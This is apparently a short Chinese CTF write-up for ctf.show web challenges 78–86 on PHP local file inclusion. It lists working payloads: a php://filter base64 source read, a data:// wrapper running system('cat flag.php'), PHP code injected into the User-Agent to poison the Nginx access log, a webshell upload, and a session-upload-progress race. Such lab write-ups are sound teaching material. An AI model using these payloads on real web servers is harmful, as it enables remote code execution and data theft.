web 78
在文件包含的题目中,php伪协议是非常常用的方法
读取php源码要加base64过滤器
?file=php://filter/convert.base64-encode/resource=flag.php
web 79
?file=data://text/plain;<?php system('cat flag.php'); ?>
php给过滤掉了,用data协议执行PHP命令,并且php命令里有php也要base64
为?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
web80-81
日志包含
Nginx日志目录为/var/log/nginx/access.log
ua头中传入<?php system('ls');?>
<?php system('cat f10g.php');?> 控制台查看php代码得到flag,cat命令不会执行php,只是查看
或者直接传马,菜刀中的url应该带有参数是http://be249151-f1df-437d-88d5-104efba7f0ba.challenge.ctf.show:8080/?file=/var/log/nginx/access.log 传入的file参数是会被执行的
直接填目录的话容易出错
web82-86
参考文章
https://www.freebuf.com/vuls/202819.html
https://www.cnblogs.com/NPFS/p/13795170.html
https://blog.csdn.net/weixin_45551083/article/details/110259089
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
1.简单来说,上面这个选项开启以后,上传文件,我们能够POST请求查看上传进度
2.我们在要post传输的数据中中写入我们要执行的代码
3.用户可以自己定义Session ID,比如在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag,我们能够命名'sess_'后面的名字
4.之后要执行就要包含这个session文件
5.默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,就会清除进度信息
6.于是我们需要条件竞争来读取文件,所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码,在文件上传中很常见